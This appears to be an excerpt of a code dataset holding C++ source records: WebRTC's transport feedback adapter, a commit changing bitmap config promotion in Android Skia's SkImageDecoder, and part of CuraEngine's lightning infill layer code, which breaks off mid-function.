the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"modules\/congestion_controller\/rtp\/transport_feedback_adapter.h\"\n\n#include <algorithm>\n\n#include \"modules\/rtp_rtcp\/include\/rtp_rtcp_defines.h\"\n#include \"modules\/rtp_rtcp\/source\/rtcp_packet\/transport_feedback.h\"\n#include \"rtc_base\/checks.h\"\n#include \"rtc_base\/logging.h\"\n#include \"rtc_base\/numerics\/mod_ops.h\"\n\nnamespace webrtc {\nnamespace {\nvoid SortPacketFeedbackVector(std::vector<webrtc::PacketFeedback>* input) {\n std::sort(input->begin(), input->end(), PacketFeedbackComparator());\n}\n\nPacketResult NetworkPacketFeedbackFromRtpPacketFeedback(\n const webrtc::PacketFeedback& pf) {\n PacketResult feedback;\n if (pf.arrival_time_ms == webrtc::PacketFeedback::kNotReceived)\n feedback.receive_time = Timestamp::PlusInfinity();\n else\n feedback.receive_time = Timestamp::ms(pf.arrival_time_ms);\n if (pf.send_time_ms != webrtc::PacketFeedback::kNoSendTime) {\n feedback.sent_packet = SentPacket();\n feedback.sent_packet->sequence_number = pf.long_sequence_number;\n feedback.sent_packet->send_time = Timestamp::ms(pf.send_time_ms);\n feedback.sent_packet->size = DataSize::bytes(pf.payload_size);\n feedback.sent_packet->pacing_info = pf.pacing_info;\n feedback.sent_packet->prior_unacked_data =\n DataSize::bytes(pf.unacknowledged_data);\n }\n return feedback;\n}\n\nstd::vector<PacketResult> PacketResultsFromRtpFeedbackVector(\n const std::vector<PacketFeedback>& feedback_vector) {\n RTC_DCHECK(std::is_sorted(feedback_vector.begin(), feedback_vector.end(),\n PacketFeedbackComparator()));\n\n std::vector<PacketResult> packet_feedbacks;\n packet_feedbacks.reserve(feedback_vector.size());\n for (const PacketFeedback& rtp_feedback : feedback_vector) {\n auto feedback = NetworkPacketFeedbackFromRtpPacketFeedback(rtp_feedback);\n packet_feedbacks.push_back(feedback);\n }\n return packet_feedbacks;\n}\n} \/\/ namespace\nconst int64_t kNoTimestamp = -1;\nconst int64_t kSendTimeHistoryWindowMs = 60000;\nconst int64_t kBaseTimestampScaleFactor =\n rtcp::TransportFeedback::kDeltaScaleFactor * (1 << 8);\nconst int64_t kBaseTimestampRangeSizeUs = kBaseTimestampScaleFactor * (1 << 24);\n\nTransportFeedbackAdapter::TransportFeedbackAdapter(const Clock* clock)\n : send_time_history_(clock, kSendTimeHistoryWindowMs),\n clock_(clock),\n current_offset_ms_(kNoTimestamp),\n last_timestamp_us_(kNoTimestamp),\n local_net_id_(0),\n remote_net_id_(0) {}\n\nTransportFeedbackAdapter::~TransportFeedbackAdapter() {\n RTC_DCHECK(observers_.empty());\n}\n\nvoid TransportFeedbackAdapter::RegisterPacketFeedbackObserver(\n PacketFeedbackObserver* observer) {\n rtc::CritScope cs(&observers_lock_);\n RTC_DCHECK(observer);\n RTC_DCHECK(std::find(observers_.begin(), observers_.end(), observer) ==\n observers_.end());\n observers_.push_back(observer);\n}\n\nvoid TransportFeedbackAdapter::DeRegisterPacketFeedbackObserver(\n PacketFeedbackObserver* observer) {\n rtc::CritScope cs(&observers_lock_);\n RTC_DCHECK(observer);\n const auto it = std::find(observers_.begin(), observers_.end(), observer);\n RTC_DCHECK(it != observers_.end());\n observers_.erase(it);\n}\n\nvoid TransportFeedbackAdapter::AddPacket(uint32_t ssrc,\n uint16_t sequence_number,\n size_t length,\n const PacedPacketInfo& pacing_info) {\n {\n rtc::CritScope cs(&lock_);\n const int64_t creation_time_ms = clock_->TimeInMilliseconds();\n send_time_history_.AddAndRemoveOld(\n PacketFeedback(creation_time_ms, sequence_number, length, local_net_id_,\n remote_net_id_, pacing_info));\n }\n\n {\n rtc::CritScope cs(&observers_lock_);\n for (auto* observer : observers_) {\n observer->OnPacketAdded(ssrc, sequence_number);\n }\n }\n}\n\nabsl::optional<SentPacket> TransportFeedbackAdapter::ProcessSentPacket(\n const rtc::SentPacket& sent_packet) {\n rtc::CritScope cs(&lock_);\n \/\/ TODO(srte): Only use one way to indicate that packet feedback is used.\n if (sent_packet.info.included_in_feedback || sent_packet.packet_id != -1) {\n send_time_history_.OnSentPacket(sent_packet.packet_id,\n sent_packet.send_time_ms);\n absl::optional<PacketFeedback> packet =\n send_time_history_.GetPacket(sent_packet.packet_id);\n if (packet) {\n SentPacket msg;\n msg.size = DataSize::bytes(packet->payload_size);\n msg.send_time = Timestamp::ms(packet->send_time_ms);\n msg.sequence_number = packet->long_sequence_number;\n msg.prior_unacked_data = DataSize::bytes(packet->unacknowledged_data);\n msg.data_in_flight =\n send_time_history_.GetOutstandingData(local_net_id_, remote_net_id_);\n return msg;\n }\n } else if (sent_packet.info.included_in_allocation) {\n send_time_history_.AddUntracked(sent_packet.info.packet_size_bytes,\n sent_packet.send_time_ms);\n }\n return absl::nullopt;\n}\n\nabsl::optional<TransportPacketsFeedback>\nTransportFeedbackAdapter::ProcessTransportFeedback(\n const rtcp::TransportFeedback& feedback) {\n int64_t feedback_time_ms = clock_->TimeInMilliseconds();\n DataSize prior_in_flight = GetOutstandingData();\n OnTransportFeedback(feedback);\n std::vector<PacketFeedback> feedback_vector = last_packet_feedback_vector_;\n if (feedback_vector.empty())\n return absl::nullopt;\n\n SortPacketFeedbackVector(&feedback_vector);\n TransportPacketsFeedback msg;\n msg.packet_feedbacks = PacketResultsFromRtpFeedbackVector(feedback_vector);\n msg.feedback_time = Timestamp::ms(feedback_time_ms);\n msg.prior_in_flight = prior_in_flight;\n msg.data_in_flight = GetOutstandingData();\n return msg;\n}\n\nvoid TransportFeedbackAdapter::SetNetworkIds(uint16_t local_id,\n uint16_t remote_id) {\n rtc::CritScope cs(&lock_);\n local_net_id_ = local_id;\n remote_net_id_ = remote_id;\n}\n\nDataSize TransportFeedbackAdapter::GetOutstandingData() const {\n rtc::CritScope cs(&lock_);\n return send_time_history_.GetOutstandingData(local_net_id_, remote_net_id_);\n}\n\nstd::vector<PacketFeedback> TransportFeedbackAdapter::GetPacketFeedbackVector(\n const rtcp::TransportFeedback& feedback) {\n int64_t timestamp_us = feedback.GetBaseTimeUs();\n int64_t now_ms = clock_->TimeInMilliseconds();\n \/\/ Add timestamp deltas to a local time base selected on first packet arrival.\n \/\/ This won't be the true time base, but makes it easier to manually inspect\n \/\/ time stamps.\n if (last_timestamp_us_ == kNoTimestamp) {\n current_offset_ms_ = now_ms;\n } else {\n int64_t delta = timestamp_us - last_timestamp_us_;\n\n \/\/ Detect and compensate for wrap-arounds in base time.\n if (std::abs(delta - kBaseTimestampRangeSizeUs) < std::abs(delta)) {\n delta -= kBaseTimestampRangeSizeUs; \/\/ Wrap backwards.\n } else if (std::abs(delta + kBaseTimestampRangeSizeUs) < std::abs(delta)) {\n delta += kBaseTimestampRangeSizeUs; \/\/ Wrap forwards.\n }\n\n current_offset_ms_ += delta \/ 1000;\n }\n last_timestamp_us_ = timestamp_us;\n\n std::vector<PacketFeedback> packet_feedback_vector;\n if (feedback.GetPacketStatusCount() == 0) {\n RTC_LOG(LS_INFO) << \"Empty transport feedback packet received.\";\n return packet_feedback_vector;\n }\n packet_feedback_vector.reserve(feedback.GetPacketStatusCount());\n {\n rtc::CritScope cs(&lock_);\n size_t failed_lookups = 0;\n int64_t offset_us = 0;\n int64_t timestamp_ms = 0;\n uint16_t seq_num = feedback.GetBaseSequence();\n for (const auto& packet : feedback.GetReceivedPackets()) {\n \/\/ Insert into the vector those unreceived packets which precede this\n \/\/ iteration's received packet.\n for (; seq_num != packet.sequence_number(); ++seq_num) {\n PacketFeedback packet_feedback(PacketFeedback::kNotReceived, seq_num);\n \/\/ Note: Element not removed from history because it might be reported\n \/\/ as received by another feedback.\n if (!send_time_history_.GetFeedback(&packet_feedback, false))\n ++failed_lookups;\n if (packet_feedback.local_net_id == local_net_id_ &&\n packet_feedback.remote_net_id == remote_net_id_) {\n packet_feedback_vector.push_back(packet_feedback);\n }\n }\n\n \/\/ Handle this iteration's received packet.\n offset_us += packet.delta_us();\n timestamp_ms = current_offset_ms_ + (offset_us \/ 1000);\n PacketFeedback packet_feedback(timestamp_ms, packet.sequence_number());\n if (!send_time_history_.GetFeedback(&packet_feedback, true))\n ++failed_lookups;\n if (packet_feedback.local_net_id == local_net_id_ &&\n packet_feedback.remote_net_id == remote_net_id_) {\n packet_feedback_vector.push_back(packet_feedback);\n }\n\n ++seq_num;\n }\n\n if (failed_lookups > 0) {\n RTC_LOG(LS_WARNING) << \"Failed to lookup send time for \" << failed_lookups\n << \" packet\" << (failed_lookups > 1 ? \"s\" : \"\")\n << \". Send time history too small?\";\n }\n }\n return packet_feedback_vector;\n}\n\nvoid TransportFeedbackAdapter::OnTransportFeedback(\n const rtcp::TransportFeedback& feedback) {\n last_packet_feedback_vector_ = GetPacketFeedbackVector(feedback);\n {\n rtc::CritScope cs(&observers_lock_);\n for (auto* observer : observers_) {\n observer->OnPacketFeedbackVector(last_packet_feedback_vector_);\n }\n }\n}\n\nstd::vector<PacketFeedback>\nTransportFeedbackAdapter::GetTransportFeedbackVector() const {\n return last_packet_feedback_vector_;\n}\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>\/* libs\/graphics\/images\/SkImageDecoder.cpp\n**\n** Copyright 2006, The Android Open Source Project\n**\n** Licensed under the Apache License, Version 2.0 (the \"License\"); \n** you may not use this file except in compliance with the License. \n** You may obtain a copy of the License at \n**\n** http:\/\/www.apache.org\/licenses\/LICENSE-2.0 \n**\n** Unless required by applicable law or agreed to in writing, software \n** distributed under the License is distributed on an \"AS IS\" BASIS, \n** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n** See the License for the specific language governing permissions and \n** limitations under the License.\n*\/\n\n#include \"SkImageDecoder.h\"\n#include \"SkBitmap.h\"\n#include \"SkPixelRef.h\"\n#include \"SkStream.h\"\n#include \"SkTemplates.h\"\n\nstatic SkBitmap::Config gDeviceConfig = SkBitmap::kNo_Config;\n\nSkBitmap::Config SkImageDecoder::GetDeviceConfig()\n{\n return gDeviceConfig;\n}\n\nvoid SkImageDecoder::SetDeviceConfig(SkBitmap::Config config)\n{\n gDeviceConfig = config;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkImageDecoder::SkImageDecoder()\n : fPeeker(NULL), fChooser(NULL), fAllocator(NULL), fSampleSize(1),\n fDitherImage(true) {\n}\n\nSkImageDecoder::~SkImageDecoder() {\n fPeeker->safeUnref();\n fChooser->safeUnref();\n fAllocator->safeUnref();\n}\n\nSkImageDecoder::Format SkImageDecoder::getFormat() const {\n return kUnknown_Format;\n}\n\nSkImageDecoder::Peeker* SkImageDecoder::setPeeker(Peeker* peeker) {\n SkRefCnt_SafeAssign(fPeeker, peeker);\n return peeker;\n}\n\nSkImageDecoder::Chooser* SkImageDecoder::setChooser(Chooser* chooser) {\n SkRefCnt_SafeAssign(fChooser, chooser);\n return chooser;\n}\n\nSkBitmap::Allocator* SkImageDecoder::setAllocator(SkBitmap::Allocator* alloc) {\n SkRefCnt_SafeAssign(fAllocator, alloc);\n return alloc;\n}\n\nvoid SkImageDecoder::setSampleSize(int size) {\n if (size < 1) {\n size = 1;\n }\n fSampleSize = size;\n}\n\nbool SkImageDecoder::chooseFromOneChoice(SkBitmap::Config config, int width,\n int height) const {\n Chooser* chooser = fChooser;\n\n if (NULL == chooser) { \/\/ no chooser, we just say YES to decoding :)\n return true;\n }\n chooser->begin(1);\n chooser->inspect(0, config, width, height);\n return chooser->choose() == 0;\n}\n\nbool SkImageDecoder::allocPixelRef(SkBitmap* bitmap,\n SkColorTable* ctable) const {\n return bitmap->allocPixels(fAllocator, ctable);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/* Technically, this should be 342, since that is the cutoff point between\n an index and 32bit bitmap (they take equal ram), but since 32bit is almost\n always faster, I bump up the value a bit.\n*\/\n#define MIN_SIZE_FOR_INDEX (512)\n\n\/* Return the \"optimal\" config for this bitmap. In this case, we just look to\n promote index bitmaps to full-color, since those are a little faster to\n draw (fewer memory lookups).\n\n Seems like we could expose this to the caller through some exising or new\n proxy object, allowing them to decide (after sniffing some aspect of the\n original bitmap) what config they really want.\n *\/\nstatic SkBitmap::Config optimal_config(const SkBitmap& bm,\n SkBitmap::Config pref) {\n if (bm.config() != pref) {\n if (bm.config() == SkBitmap::kIndex8_Config) {\n Sk64 size64 = bm.getSize64();\n if (size64.is32()) {\n int32_t size = size64.get32();\n if (size < MIN_SIZE_FOR_INDEX) {\n return SkBitmap::kARGB_8888_Config;\n }\n }\n }\n }\n return bm.config();\n}\n\nbool SkImageDecoder::decode(SkStream* stream, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n \/\/ pass a temporary bitmap, so that if we return false, we are assured of\n \/\/ leaving the caller's bitmap untouched.\n SkBitmap tmp;\n\n \/\/ we reset this to false before calling onDecode\n fShouldCancelDecode = false;\n\n if (!this->onDecode(stream, &tmp, pref, mode)) {\n return false;\n }\n\n SkBitmap::Config c = optimal_config(tmp, pref);\n if (c != tmp.config()) {\n if (mode == kDecodeBounds_Mode) {\n tmp.setConfig(c, tmp.width(), tmp.height());\n } else {\n SkBitmap tmp2;\n if (tmp.copyTo(&tmp2, c, this->getAllocator())) {\n tmp.swap(tmp2);\n }\n }\n }\n bm->swap(tmp);\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImageDecoder::DecodeFile(const char file[], SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n SkASSERT(file);\n SkASSERT(bm);\n\n SkFILEStream stream(file);\n if (stream.isValid()) {\n if (SkImageDecoder::DecodeStream(&stream, bm, pref, mode)) {\n bm->pixelRef()->setURI(file);\n }\n return true;\n }\n return false;\n}\n\nbool SkImageDecoder::DecodeMemory(const void* buffer, size_t size, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n if (0 == size) {\n return false;\n }\n SkASSERT(buffer);\n\n SkMemoryStream stream(buffer, size);\n return SkImageDecoder::DecodeStream(&stream, bm, pref, mode);\n}\n\nbool SkImageDecoder::DecodeStream(SkStream* stream, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n SkASSERT(stream);\n SkASSERT(bm);\n\n bool success = false;\n SkImageDecoder* codec = SkImageDecoder::Factory(stream);\n\n if (NULL != codec) {\n success = codec->decode(stream, bm, pref, mode);\n delete codec;\n }\n return success;\n}\n\n<commit_msg>Do not merge check if we can promote to the preferred config<commit_after>\/* libs\/graphics\/images\/SkImageDecoder.cpp\n**\n** Copyright 2006, The Android Open Source Project\n**\n** Licensed under the Apache License, Version 2.0 (the \"License\"); \n** you may not use this file except in compliance with the License. \n** You may obtain a copy of the License at \n**\n** http:\/\/www.apache.org\/licenses\/LICENSE-2.0 \n**\n** Unless required by applicable law or agreed to in writing, software \n** distributed under the License is distributed on an \"AS IS\" BASIS, \n** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n** See the License for the specific language governing permissions and \n** limitations under the License.\n*\/\n\n#include \"SkImageDecoder.h\"\n#include \"SkBitmap.h\"\n#include \"SkPixelRef.h\"\n#include \"SkStream.h\"\n#include \"SkTemplates.h\"\n\nstatic SkBitmap::Config gDeviceConfig = SkBitmap::kNo_Config;\n\nSkBitmap::Config SkImageDecoder::GetDeviceConfig()\n{\n return gDeviceConfig;\n}\n\nvoid SkImageDecoder::SetDeviceConfig(SkBitmap::Config config)\n{\n gDeviceConfig = config;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkImageDecoder::SkImageDecoder()\n : fPeeker(NULL), fChooser(NULL), fAllocator(NULL), fSampleSize(1),\n fDitherImage(true) {\n}\n\nSkImageDecoder::~SkImageDecoder() {\n fPeeker->safeUnref();\n fChooser->safeUnref();\n fAllocator->safeUnref();\n}\n\nSkImageDecoder::Format SkImageDecoder::getFormat() const {\n return kUnknown_Format;\n}\n\nSkImageDecoder::Peeker* SkImageDecoder::setPeeker(Peeker* peeker) {\n SkRefCnt_SafeAssign(fPeeker, peeker);\n return peeker;\n}\n\nSkImageDecoder::Chooser* SkImageDecoder::setChooser(Chooser* chooser) {\n SkRefCnt_SafeAssign(fChooser, chooser);\n return chooser;\n}\n\nSkBitmap::Allocator* SkImageDecoder::setAllocator(SkBitmap::Allocator* alloc) {\n SkRefCnt_SafeAssign(fAllocator, alloc);\n return alloc;\n}\n\nvoid SkImageDecoder::setSampleSize(int size) {\n if (size < 1) {\n size = 1;\n }\n fSampleSize = size;\n}\n\nbool SkImageDecoder::chooseFromOneChoice(SkBitmap::Config config, int width,\n int height) const {\n Chooser* chooser = fChooser;\n\n if (NULL == chooser) { \/\/ no chooser, we just say YES to decoding :)\n return true;\n }\n chooser->begin(1);\n chooser->inspect(0, config, width, height);\n return chooser->choose() == 0;\n}\n\nbool SkImageDecoder::allocPixelRef(SkBitmap* bitmap,\n SkColorTable* ctable) const {\n return bitmap->allocPixels(fAllocator, ctable);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool canCopyTo(SkBitmap::Config src, SkBitmap::Config dst) {\n if (src == SkBitmap::kNo_Config) {\n return false;\n }\n\n bool sameConfigs = (src == dst);\n switch (dst) {\n case SkBitmap::kA8_Config:\n case SkBitmap::kARGB_4444_Config:\n case SkBitmap::kRGB_565_Config:\n case SkBitmap::kARGB_8888_Config:\n break;\n case SkBitmap::kA1_Config:\n case SkBitmap::kIndex8_Config:\n if (!sameConfigs) {\n return false;\n }\n break;\n default:\n return false;\n }\n\n \/\/ do not copy src if srcConfig == kA1_Config while dstConfig != kA1_Config\n if (src == SkBitmap::kA1_Config && !sameConfigs) {\n return false;\n }\n\n return true;\n}\n\nbool SkImageDecoder::decode(SkStream* stream, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n \/\/ pass a temporary bitmap, so that if we return false, we are assured of\n \/\/ leaving the caller's bitmap untouched.\n SkBitmap tmp;\n\n \/\/ we reset this to false before calling onDecode\n fShouldCancelDecode = false;\n\n if (!this->onDecode(stream, &tmp, pref, mode)) {\n return false;\n }\n\n if (tmp.config() != pref && canCopyTo(tmp.config(), pref)) {\n if (mode == kDecodeBounds_Mode) {\n tmp.setConfig(pref, tmp.width(), tmp.height());\n } else if (mode == kDecodePixels_Mode) {\n SkBitmap tmp2;\n if (tmp.copyTo(&tmp2, pref, this->getAllocator())) {\n tmp.swap(tmp2);\n }\n }\n }\n bm->swap(tmp);\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImageDecoder::DecodeFile(const char file[], SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n SkASSERT(file);\n SkASSERT(bm);\n\n SkFILEStream stream(file);\n if (stream.isValid()) {\n if (SkImageDecoder::DecodeStream(&stream, bm, pref, mode)) {\n bm->pixelRef()->setURI(file);\n }\n return true;\n }\n return false;\n}\n\nbool SkImageDecoder::DecodeMemory(const void* buffer, size_t size, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n if (0 == size) {\n return false;\n }\n SkASSERT(buffer);\n\n SkMemoryStream stream(buffer, size);\n return SkImageDecoder::DecodeStream(&stream, bm, pref, mode);\n}\n\nbool SkImageDecoder::DecodeStream(SkStream* stream, SkBitmap* bm,\n SkBitmap::Config pref, Mode mode) {\n SkASSERT(stream);\n SkASSERT(bm);\n\n bool success = false;\n SkImageDecoder* codec = SkImageDecoder::Factory(stream);\n\n if (NULL != codec) {\n success = codec->decode(stream, bm, pref, mode);\n delete codec;\n }\n return success;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/Copyright (c) 2021 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include \"LightningLayer.h\"\n\n#include \"LightningTree.h\"\n\n#include \"..\/sliceDataStorage.h\"\n#include \"..\/utils\/linearAlg2D.h\"\n#include \"..\/utils\/SVG.h\"\n#include \"..\/utils\/SparsePointGridInclusive.h\"\n\nusing namespace cura;\n\ncoord_t LightningLayer::getWeightedDistance(const Point& boundary_loc, const Point& unsupported_loc)\n{\n return vSize(boundary_loc - unsupported_loc);\n}\n\nPolygonLightningDistanceField::PolygonLightningDistanceField\n(\n const coord_t& radius,\n const Polygons& current_outline,\n const Polygons& current_overhang,\n const std::vector<std::shared_ptr<LightningTreeNode>>& initial_trees\n)\n{\n supporting_radius = radius;\n Polygons supporting_polylines = current_outline;\n for (PolygonRef poly : supporting_polylines)\n {\n if (!poly.empty())\n {\n poly.add(poly[0]); \/\/ add start so that the polyline is closed\n }\n }\n \n const LightningTreeNode::branch_visitor_func_t add_offset_branch_func =\n [&](const Point& parent, const Point& child)\n {\n supporting_polylines.addLine(parent, child);\n };\n for (const auto& tree : initial_trees)\n {\n tree->visitBranches(add_offset_branch_func);\n }\n supported = supporting_polylines.offsetPolyLine(supporting_radius);\n unsupported = current_overhang.difference(supported);\n}\n\nbool PolygonLightningDistanceField::tryGetNextPoint(Point* p, coord_t supporting_radius) const\n{\n if (unsupported.area() < 25)\n {\n return false;\n }\n coord_t total_length = unsupported[0].polygonLength();\n coord_t dist_to_point_on_boundary = std::rand() % total_length;\n ClosestPolygonPoint cpp = PolygonUtils::walk(ClosestPolygonPoint(unsupported[0][0], 0, unsupported[0]), dist_to_point_on_boundary);\n *p = PolygonUtils::moveInside(cpp, supporting_radius);\n if (!unsupported.inside(*p))\n {\n PolygonUtils::moveInside(unsupported, *p, supporting_radius \/ 2);\n }\n \/\/ NOTE: it's okay for the rare case where a point ends up outside; it's just an inefficient tree branch.\n return true;\n}\n\nvoid PolygonLightningDistanceField::update(const Point& to_node, const Point& added_leaf)\n{\n Polygons line;\n line.addLine(to_node, added_leaf);\n Polygons offsetted = line.offsetPolyLine(supporting_radius, ClipperLib::jtRound);\n supported = supported.unionPolygons(offsetted);\n unsupported = unsupported.difference(supported);\n}\n\n\/\/ -- -- -- -- -- --\n\/\/ -- -- -- -- -- --\n\n\nLightningDistanceField::LightningDistanceField\n(\n const coord_t& radius,\n const Polygons& current_outline,\n const Polygons& current_overhang,\n const std::vector<std::shared_ptr<LightningTreeNode>>& initial_trees\n)\n: grid(cell_size)\n, supporting_radius(radius)\n, current_outline(current_outline)\n, current_overhang(current_overhang)\n{\n std::vector<Point> regular_dots = PolygonUtils::spreadDotsArea(current_overhang, cell_size);\n for (Point p : regular_dots)\n {\n const ClosestPolygonPoint cpp = PolygonUtils::findClosest(p, current_outline);\n const coord_t dist_to_boundary = vSize(p - cpp.p());\n unsupported_points.emplace_back(p, dist_to_boundary);\n }\n unsupported_points.sort([](const UnsupCell& a, const UnsupCell& b) { return a.dist_to_boundary < b.dist_to_boundary; });\n for (auto it = unsupported_points.begin(); it != unsupported_points.end(); ++it)\n {\n UnsupCell& cell = *it;\n unsupported_points_grid.emplace(grid.toGridPoint(cell.loc), it);\n }\n}\n\nbool LightningDistanceField::tryGetNextPoint(Point* p, coord_t supporting_radius) const\n{\n if (unsupported_points.empty()) return false;\n *p = unsupported_points.front().loc;\n return true;\n}\n\nvoid LightningDistanceField::update(const Point& to_node, const Point& added_leaf)\n{\n grid.processNearby(added_leaf, supporting_radius,\n [added_leaf, this](const SquareGrid::GridPoint& grid_loc)\n {\n auto it = unsupported_points_grid.find(grid_loc);\n if (it != unsupported_points_grid.end())\n {\n std::list<UnsupCell>::iterator& list_it = it->second;\n UnsupCell& cell = *list_it;\n if (shorterThen(cell.loc - added_leaf, supporting_radius))\n {\n unsupported_points.erase(list_it);\n unsupported_points_grid.erase(it);\n }\n }\n return true;\n });\n}\n\n\/\/ -- -- -- -- -- --\n\/\/ -- -- -- -- -- --\n\nPoint GroundingLocation::p() const\n{\n if (tree_node != nullptr)\n {\n return tree_node->getLocation();\n }\n else\n {\n assert(boundary_location);\n return boundary_location->p();\n }\n}\n\nLightningTreeNode::node_visitor_func_t getAddToLocatorFunc(SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>>& tree_node_locator)\n{\n return\n [&tree_node_locator](std::shared_ptr<LightningTreeNode> node)\n {\n tree_node_locator.insert(node->getLocation(), node);\n };\n}\n\nvoid LightningLayer::fillLocator(SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>>& tree_node_locator)\n{\n const LightningTreeNode::node_visitor_func_t add_node_to_locator_func = getAddToLocatorFunc(tree_node_locator);\n for (auto& tree : tree_roots)\n {\n tree->visitNodes(add_node_to_locator_func);\n }\n}\n\nvoid LightningLayer::generateNewTrees(const Polygons& current_overhang, Polygons& current_outlines, coord_t supporting_radius)\n{\n LightningDistanceField distance_field(supporting_radius, current_outlines, current_overhang, tree_roots);\n\n constexpr coord_t locator_cell_size = 2000;\n SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>> tree_node_locator(locator_cell_size);\n const auto add_to_locator_func = getAddToLocatorFunc(tree_node_locator);\n fillLocator(tree_node_locator);\n\n constexpr size_t debug_max_iterations = 9999; \/\/ TODO: remove\n size_t i_debug = 0;\n\n \/\/ Until no more points need to be added to support all:\n \/\/ Determine next point from tree\/outline areas via distance-field\n Point unsupported_location;\n while (distance_field.tryGetNextPoint(&unsupported_location, supporting_radius) && i_debug < debug_max_iterations)\n {\n ++i_debug;\n\n GroundingLocation grounding_loc = getBestGroundingLocation(unsupported_location, current_outlines, supporting_radius, tree_node_locator);\n\n \/\/ TODO: update unsupported_location to lie closer to grounding_loc\n\n attach(unsupported_location, grounding_loc)->visitNodes(add_to_locator_func);\n\n \/\/ update distance field\n distance_field.update(grounding_loc.p(), unsupported_location);\n }\n}\n\nGroundingLocation LightningLayer::getBestGroundingLocation(const Point& unsupported_location, const Polygons& current_outlines, const coord_t supporting_radius, const SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>>& tree_node_locator, const std::shared_ptr<LightningTreeNode>& exclude_tree)\n{\n ClosestPolygonPoint cpp = PolygonUtils::findClosest(unsupported_location, current_outlines);\n Point node_location = cpp.p();\n\n std::shared_ptr<LightningTreeNode> sub_tree(nullptr);\n coord_t current_dist = getWeightedDistance(node_location, unsupported_location);\n auto candidate_trees = tree_node_locator.getNearbyVals(unsupported_location, std::min(current_dist, supporting_radius));\n for (auto& candidate_wptr : candidate_trees)\n {\n auto candidate_sub_tree = candidate_wptr.lock();\n if (candidate_sub_tree && candidate_sub_tree != exclude_tree && !(exclude_tree && exclude_tree->hasOffspring(candidate_sub_tree)))\n {\n const coord_t candidate_dist = candidate_sub_tree->getWeightedDistance(unsupported_location, supporting_radius);\n if (candidate_dist < current_dist)\n {\n current_dist = candidate_dist;\n sub_tree = candidate_sub_tree;\n }\n }\n }\n\n if (!sub_tree)\n {\n return GroundingLocation{ nullptr, cpp };\n }\n else\n {\n return GroundingLocation{ sub_tree, std::optional<ClosestPolygonPoint>() };\n }\n}\n\nstd::shared_ptr<LightningTreeNode> LightningLayer::attach(const Point& unsupported_location, const GroundingLocation& grounding_loc)\n{\n \/\/ Update trees & distance fields.\n if (grounding_loc.boundary_location)\n {\n tree_roots.push_back(LightningTreeNode::create(grounding_loc.p(), unsupported_location));\n return tree_roots.back();\n }\n else\n {\n return grounding_loc.tree_node->addChild(unsupported_location);\n }\n}\n\nvoid LightningLayer::reconnectRoots(std::vector<std::shared_ptr<LightningTreeNode>>& to_be_reconnected_tree_roots, const Polygons& current_outlines, const coord_t supporting_radius)\n{\n constexpr coord_t locator_cell_size = 2000;\n SparsePointGridInclusive<std::weak_ptr<LightningTreeNode>> tree_node_locator(locator_cell_size);\n fillLocator(tree_node_locator);\n\n const LightningTreeNode::node_visitor_func_t add_node_to_locator_func = getAddToLocatorFunc(tree_node_locator);\n for (auto root_ptr : to_be_reconnected_tree_roots)\n {\n auto old_root_it = std::find(tree_roots.begin(), tree_roots.end(), root_ptr);\n GroundingLocation ground = getBestGroundingLocation(root_ptr->getLocation(), current_outlines, supporting_radius, tree_node_locator, root_ptr);\n if (ground.boundary_location)\n {\n if (ground.boundary_location.value().p() == root_ptr->getLocation())\n {\n continue; \/\/ Already on the boundary.\n }\n\n auto new_root = LightningTreeNode::create(ground.p());\n new_root->addChild(root_ptr);\n tree_node_locator.insert(new_root->getLocation(), new_root);\n\n 